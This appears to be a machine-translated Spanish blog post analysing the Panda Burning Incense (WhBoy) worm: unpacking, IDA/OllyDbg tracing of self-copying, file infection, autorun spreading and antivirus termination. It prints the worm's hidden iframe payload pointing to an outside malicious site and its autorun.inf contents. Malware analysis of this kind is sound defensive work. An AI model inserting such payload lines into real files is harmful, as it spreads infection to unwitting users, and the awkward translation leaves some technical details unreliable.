Análisis de código malicioso: Panda quemando incienso

Análisis de código malicioso: Panda quemando incienso

Registre el proceso de análisis de algún código malicioso.

Descripción general de las funciones de quema de incienso Panda:

Insertar descripción de la imagen aquí

análisis estático

  1. Verificación de carcasa——FSG 2.0
    Insertar descripción de la imagen aquí
  2. Desembalaje
    1) OllyDump encuentra el OEP:
    Insertar descripción de la imagen aquí
    2) OllyDump realiza un volcado binario
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    3) ImportRCE repara la tabla de importación e importa la nueva al archivo binario en Volcado en OD
    Insertar descripción de la imagen aquí
    4) Vuelva a verificar el paquete: escrito por Delphi (esto debe hacerse cuando llamar a la función, usar registros para transferir parámetros de función) pero solo se reconoce un dll en la tabla de importación
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    5) Después de desempacar de acuerdo con el método anterior, encontrará que se informará un error al depurar el programa, lo que indica que hay un problema con el descompresión del programa Más tarde, consulte los métodos de otros amigos El blogger descubrió que resultó que se habían insertado datos basura en el IAT y que los datos debían modificarse manualmente.
    6) Busque el OEP, ingrese 004049E8, luego 00404924, busque la primera dirección IAT, verifíquela en la ventana de datos y modifique los datos basura que contiene a 00000000 7) Luego regrese al OEP y use OllyDump para volcar el programa, y luego repita los primeros
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    pasos de las operaciones de descomprimido; cuando el programa descomprimido se verifica con PEID, se encontrará que hay muchas bibliotecas dependientes en su tabla de importación.
    Insertar descripción de la imagen aquí

Análisis de la AIF

  1. Ejemplo de carga de IDA: IDA no reconoce todas las funciones
    Insertar descripción de la imagen aquí
  2. Dado que el programa está escrito en Delphi, agregue la firma de Delphi a IDA.
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquíInsertar descripción de la imagen aquí
  3. Mirando nuevamente la ventana de IDA, se han identificado correctamente algunas funciones:
    Insertar descripción de la imagen aquí
  4. Primero llame a la función InitExe para la inicialización y luego llame a la función LStrAsg varias veces para copiar la cadena para la inicialización:
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
  5. Continuando hacia abajo, encontramos la primera función no reconocida sub_405250. Después del análisis, podemos ver que esta función es una función de descifrado.
    Insertar descripción de la imagen aquí
    Dado que los parámetros entrantes no se pueden analizar fácilmente desde IDA, vamos al siguiente párrafo aquí en IDA y luego encontramos que la Los parámetros entrantes son Los parámetros son dos cadenas y una dirección de pila. Después de procesar con esta función, se guarda otra cadena de la misma longitud en la pila.
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
  6. Cambiar el nombre de la función sub_405250
    Insertar descripción de la imagen aquí
  7. Continuando, en 0040D60A, se llama a esta función de descifrado y a LStrCmp para comparar cadenas. El programa se está verificando aquí. Si la verificación falla, el programa finaliza.
    Insertar descripción de la imagen aquí
  8. Continúe hacia abajo y llame a tres funciones: sub_40819C, sub_40D18C, sub_40D088. Después de llamar a estas tres funciones, toda la lógica del programa es relativamente simple y casi no hay otras llamadas a funciones, lo que significa que estas tres funciones contienen la mayor parte del código malicioso. ... funciones básicas.
    Insertar descripción de la imagen aquí
  9. A continuación, analizamos estas tres funciones por separado.

sub_40819C

  1. sub_40819C —— El programa malicioso reside, crea y ejecuta la detección de la ruta de ejecución del programa y el archivo bat
    1) Esta función primero realiza un bucle, realiza 132 ciclos y realiza dos operaciones push 0 cada vez, lo que debería asignar espacio de pila
    Insertar descripción de la imagen aquí
    2) Continuando, nosotros Encontré una función del sistema no reconocida y usé OD para realizar un análisis dinámico. Descubrimos que la función de esta función del sistema es obtener el directorio de la ruta entrante y cambiarle el nombre a SyS_GetPath_Folder en IDA.
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    3) Se descubre que la ruta del programa actual y un archivo Desktop.ini se unirán. Se debe acceder a este archivo o crearlo, y la ruta de este archivo se puede obtener combinando OD. 4)
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    Continuar , se descubre que el paso anterior se repetirá nuevamente para obtener una ruta y luego modificar sus propiedades y luego eliminar este archivo (el propósito aquí es verificar si el archivo Desktop.ini se acaba de crear y, si no, eliminarlo). ): 5) Continuando hacia abajo, encontrará que hay
    Insertar descripción de la imagen aquí
    una función sub_407650, el parámetro pasado por este programa es la ruta de ejecución del programa actual. La estructura ejecutada se guarda en la variable var_4. El resultado calculado aquí es "MZ". Se supone que es una función de verificación de la ruta del programa; cambie el nombre a "My_Guess_Path_Check".
    Insertar descripción de la imagen aquí
    6) El programa realizará un juicio en 004082E7. Si el juicio no tiene éxito, entrará en un bucle y eventualmente saltará a 004082F3, donde sub_40521C es la conversión a mayúsculas de la cadena y se le cambiará el nombre a "My_Upper_Str". 7) Marque 0040834F en la sección media e inferior de
    Insertar descripción de la imagen aquí
    OD La llamada de función
    Insertar descripción de la imagen aquí
    de Verificar, copiarse a la ruta del sistema y luego verificar si se está ejecutando en la ruta del sistema en tiempo de ejecución.
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    9) Si el programa no se está ejecutando en la ruta del sistema, el programa malicioso se copiará a sí mismo en la ruta del sistema, es decir, "C:\WINDOWS\SYSTEM32\DRIVERS\SPO0LSV.EXE", y luego se ejecutará. 10) Si el El programa se ejecuta en la
    Insertar descripción de la imagen aquí
    ruta del sistema. A continuación, eventualmente se ejecutará en la dirección 00408584:
    Insertar descripción de la imagen aquí
    11) Aquí, se llaman las funciones sub_407B68 y sub_405458 para analizar las dos funciones respectivamente:
    • Función sub_407B68 : el programa detecta el entorno del sistema y la ruta de ejecución, ejecuta el archivo bat y le cambia el nombre. My_Create_BatFile
      obtiene la ruta de la carpeta temporal del sistema:
      Insertar descripción de la imagen aquí
      Insertar descripción de la imagen aquí
      crea un archivo por lotes en la carpeta temporal:
      Insertar descripción de la imagen aquí
      y luego realiza la unión de cadenas:
      Insertar descripción de la imagen aquí
      Insertar descripción de la imagen aquí
      Insertar descripción de la imagen aquí
      Insertar descripción de la imagen aquí
      Insertar descripción de la imagen aquí
      Insertar descripción de la imagen aquí
      en la carpeta temporal Encuentra el archivo por lotes en la carpeta y verlo:
      Insertar descripción de la imagen aquí
    • sub_405458 : la función principal de esta función es recorrer el proceso, verificar si hay un proceso spolsv.exe en ejecución y cambiarle el nombre a SyS_Check_Process_Running
      Insertar descripción de la imagen aquí
      Insertar descripción de la imagen aquí
      12) Si el proceso del programa malicioso no se está ejecutando, vuelva a ejecutar el programa malicioso en el sistema. directorio.

sub_40D18C

  1. sub_40D18C - Comportamiento malicioso del programa: La función sub_40D18C del archivo que infecta el host de la víctima es el módulo funcional principal del programa malicioso. Después de esta función, se encuentra que se llaman tres funciones:
    Insertar descripción de la imagen aquí

    sub_40A5B0

    1) La función principal de la primera función sub_40A5B0 es crear un hilo:
    Insertar descripción de la imagen aquí
    siga el bloque de código del hilo. El código aquí primero obtendrá el directorio del disco.
    Insertar descripción de la imagen aquí
    La siguiente función principal se concentra en la función sub_409348
    Insertar descripción de la imagen aquí

    sub_409348

    Siga la función sub_409348 para su análisis. Esta función es muy compleja y debería ser el módulo funcional principal de todo el programa malicioso. El programa primero atravesará el host infectado y luego realizará diferentes operaciones según el formato del archivo: para carpetas, estará en la carpeta especificada
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    . Se creará el archivo DeskTop.ini y se verificará la hora de creación del archivo. Si no se generó en este momento, el archivo se eliminará.
    Insertar descripción de la imagen aquí
    Para diferentes archivos, se utilizan diferentes operaciones. Estos archivos se dividen en dos categorías:
    1) Exe, scr, fip, com,
    2) Html, asp, php, jsp, aspx. Para el primer tipo de archivos, la función sub_407F00
    Insertar descripción de la imagen aquí
    es llamado. Para su procesamiento, el segundo tipo de archivo llama a la función sub_4079CC para su procesamiento . Combinado con los resultados de la detección dinámica, sabemos que el programa malicioso convertirá todos los archivos ejecutables en el mismo icono, y el código aquí simplemente atravesará los archivos infectados. host. Todos los archivos, entonces esta debería ser la parte principal del comportamiento malicioso del programa malicioso. Dado que diferentes tipos de archivos llamarán a diferentes funciones, analicemos las dos funciones anteriores por separado: a) La primera es sub_407F00. Esta función primero atraviesa Verificar el archivo nombre para ver si es el programa malicioso en sí. Luego lea el archivo atravesado en la memoria. A continuación, verifique si los datos del archivo en la memoria contienen la cadena "WhBoy". Esto se utiliza para detectar si el programa ya está infectado. Si ha sido infectado no se realizarán operaciones de infección posteriores, es decir, la cadena "WhBoy" es una de las características de la infección del programa. Reemplace el programa malicioso que se está ejecutando actualmente con el archivo atravesado
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí

     


    Insertar descripción de la imagen aquí

    Insertar descripción de la imagen aquí

    Insertar descripción de la imagen aquí

    Insertar descripción de la imagen aquí
    A continuación, se realiza una concatenación de cadenas largas. Se concatenan un total de 6 cadenas para obtener la cadena de destino. Dado que una de las cadenas es procesada por los datos del archivo atravesado, se procesan una función del sistema y la función sub_405534.
    Insertar descripción de la imagen aquí
    Utilice la depuración dinámica OD para ver la cadena, ¿entre cuáles? Son 0x1h y 0x2h respectivamente, el número que se ve en la cadena debe ser el tamaño del archivo, por lo tanto la composición de este carácter es:
    "WhBoy" + nombre del programa + ".exe" + 0x1h + tamaño del archivo fuente + 0x2h
    Insertar descripción de la imagen aquí
    Continuando, descubrimos la función principal de todo el programa malicioso, que es agregar los datos reales del archivo atravesado a la parte posterior del archivo "falso" atravesado (el archivo atravesado ha sido reemplazado por el programa malicioso en este momento). y luego empalme lo anterior. También se agrega la cadena resultante.
    Insertar descripción de la imagen aquí
    Resumen de la función: una vez infectados los archivos fuente del sistema, se convierten en:Programa malicioso + archivo fuente + cadena de marcador de infección
     
    b) La siguiente es la función sub_4079CC.
    Insertar descripción de la imagen aquí
    La función primero guarda el archivo infectado en la memoria, luego llama a una función de descifrado para calcular las dos cadenas
    Insertar descripción de la imagen aquí
    y guarda la cadena en el recorrido var_8. La cadena obtenida al depurar con OD es la siguiente: Se puede encontrar que la cadena es un código de ventana HTML oculto. Suponemos que el código modificado insertará código malicioso en el archivo HTML, que puede acceder de forma encubierta a sitios maliciosos.
    Insertar descripción de la imagen aquí
    Continuando, el programa determinará si el archivo original ya contiene este código html malicioso para detectar si el archivo ha sido infectado, es decir, el código"</iframe src=http://www.ac86.cn/66/index.htm width=”0” height=”0”></iframe>” es la marca de infección del segundo tipo de archivo
    Insertar descripción de la imagen aquí
    Continuando, encontramos la parte donde se escribió código HTML malicioso en el archivo:
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    use la depuración OD para obtener información específica relevante, y descubrimos que el código HTML malicioso unía un carácter de nueva línea "\n" y un carácter de retorno de carro "\ r"; continuar La depuración en un solo paso puede verificar que la función en 00407A90 es una función de cálculo de longitud, porque el parámetro de esta función es el código HTML malicioso empalmado y el valor de retorno en eax después del cálculo es exactamente 0x4Ch (decimal 72 ), que es exactamente la longitud del código malicioso.
    Insertar descripción de la imagen aquí

    sub_40C374

    Siga la segunda función sub_40C374, que configurará un temporizador para ejecutar el código en TimerFunc regularmente:
    Insertar descripción de la imagen aquí
    ingrese este segmento de código para su análisis. El código aquí unirá dos cadenas, una es "C:\setup.exe " y la otra es " C:\ autorun.inf"
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    . Si continuamos, comprobaremos si los tiempos de creación de los dos archivos son consistentes. Si los tiempos son inconsistentes, copie el programa actual a "C:\ setup.exe"; si los tiempos son consistente, comprobará si el programa actual es "C:\setup.exe".
    Insertar descripción de la imagen aquí
    De lo contrario, elimine "C:\setup.exe" y
    Insertar descripción de la imagen aquí
    luego copie el programa fuente al directorio raíz de la unidad C y cámbiele el nombre a "C:\setup.exe" "
    Insertar descripción de la imagen aquí
    Después de copiar el programa anterior, se verificará nuevamente la hora. Si se cumplen las condiciones, saltará a 0040C10F. Esta parte debe verificar el contenido del archivo inf. El contenido de comparación es " [AutoRun]\r\nOPEN= setup.exe\r\nshellexecute=setup.exe\r\nshell\Auto\command=setup.exe\r\n”)
    Insertar descripción de la imagen aquí
    Si el contenido no cumple con las condiciones, elimine la información original archivo:
    Insertar descripción de la imagen aquí
    y luego cree un nuevo archivo inf y escriba el contenido que acaba de usar para comparar en el archivo inf:
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    A continuación, establezca las propiedades de setup.exe y autorun.inf en oculto.
    Insertar descripción de la imagen aquí

    sub_40BACC

    Luego siga la función sub_40BACC. La composición de esta función es relativamente simple. Principalmente llama a una función de generación de números aleatorios y la función sub_403C00. Siga la función sub_403C00
    Insertar descripción de la imagen aquí
    y descubra que esta función creará un proceso:
    Insertar descripción de la imagen aquí
    seguir directamente la dirección del proceso no puede encuentre información útil. , en el que una llamada de función edx se llama dinámicamente; use OD para verificar la siguiente sección. La dirección de la función es 0040BA8C: siga la dirección 0040BA8C, el código del bloque de direcciones llama a la función sub_40B864, siga la función
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    sub_40B864
    Insertar descripción de la imagen aquí
    , y descubra que la función colocará el código malicioso en Difundir a través de la intranet
    Insertar descripción de la imagen aquí

sub_40D088

  1. sub_40D088 - Configure el temporizador para la ejecución y residencia del programa.
    Luego, analice la función sub_40D0881) Esta función llamará al temporizador varias veces para ejecutar el bloque de código:
    sub_40CEE4
    sub_40D040
    sub_40D048
    sub_407430
    sub_40CC4C
    sub_40C728

    Insertar descripción de la imagen aquí
    1) La función del primer bloque de código sub_40CEE4:
    aquí El código primero llamará a la función sub_406E2C para crear un proceso. La
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    dirección del código del proceso primero realizará una operación de escalada de privilegios y luego repetirá la misma función de código, es decir, buscará muchos procesos en el proceso actual:
    Insertar descripción de la imagen aquí
    verifique los relevantes dirija los datos y descubra que estos procesos son todos procesos antivirus:
    Insertar descripción de la imagen aquí
    además del software antivirus, algunos procesos de administración de tareas del sistema se cierran:
    Insertar descripción de la imagen aquí
    es decir, los programas maliciosos cerrarán estos procesos antivirus y algunos procesos de administración de tareas. procesos para evitar que sean eliminados y detectados.
    A continuación, se creará y modificará el registro para facilitar el inicio automático del programa malicioso:
    Insertar descripción de la imagen aquí
    2) El análisis del bloque de código sub_40D040
    también creará un hilo, la dirección inicial del hilo es sub_40C9B0,
    Insertar descripción de la imagen aquí
    siga la dirección inicial del hilo. el hilo primero llamará a una función de descifrado sub_40C4EC, y luego llamará a la función sub_40C5E0 para usar QQ para acceder a las URL y descargar archivos del sitio especificado. Finalmente, compare los archivos en Occidente con los archivos descifrados: sub_40C5E0 usa QQ para acceder a las URL y descargar archivos 3
    Insertar descripción de la imagen aquí
    )
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    Insertar descripción de la imagen aquí
    Tercer análisis funcional del bloque de código sub_40D048:
    crear dos subprocesos:
    Insertar descripción de la imagen aquí
    El inicio del primer subproceso sub_40CC34 es la dirección de inicio del subproceso del segundo bloque de código. Aquí se realizan operaciones repetidas. El
    segundo subproceso sub_40CDEC: elimina el archivo compartido del host infectado.

    • Utilice cmd para ejecutar el comando:
      Insertar descripción de la imagen aquí
      Insertar descripción de la imagen aquí
    • Luego continúe ejecutando otro comando:
      Insertar descripción de la imagen aquí

    4) Análisis del cuarto bloque de código sub_407430:
    también cree subprocesos:
    Insertar descripción de la imagen aquí
    cierre los servicios del sistema, procese los servicios antivirus y elimine ciertos registros
    Insertar descripción de la imagen aquí

    5) Las funciones del análisis del quinto bloque de código sub_40CC4C y del sexto bloque de código sub_40C728 son la combinación de las funciones de los bloques de código anteriores.

  2. Se completa el análisis funcional de todo el panda quemando incienso (@_@)

  3. Resumen : El análisis del programa malicioso Panda Burning Incense es relativamente completo, pero aún quedan muchos detalles que no se han analizado a fondo, la razón principal es la tecnología limitada/(ㄒoㄒ)/~~ (dejando lágrimas sin tecnología) . Además, durante este proceso de análisis, debido a que IDA no reconoció las funciones básicas relevantes del lenguaje Delphi, el proceso de análisis fue muy difícil. Además de las funciones funcionales del autor, también era necesario analizar muchas funciones básicas del lenguaje Delphi. .Funciones, y estas funciones básicas son relativamente difíciles de analizar/(ㄒoㄒ)/~~ (Dejando lágrimas sin tecnología otra vez).

Link de referencia

Durante el proceso de análisis, consulté los blogs de los siguientes amigos:
Enlace de referencia 1
Enlace de referencia 2
Enlace de referencia 3

Supongo que te gusta

Origin blog.csdn.net/weixin_39561364/article/details/114031257
Recomendado
Clasificación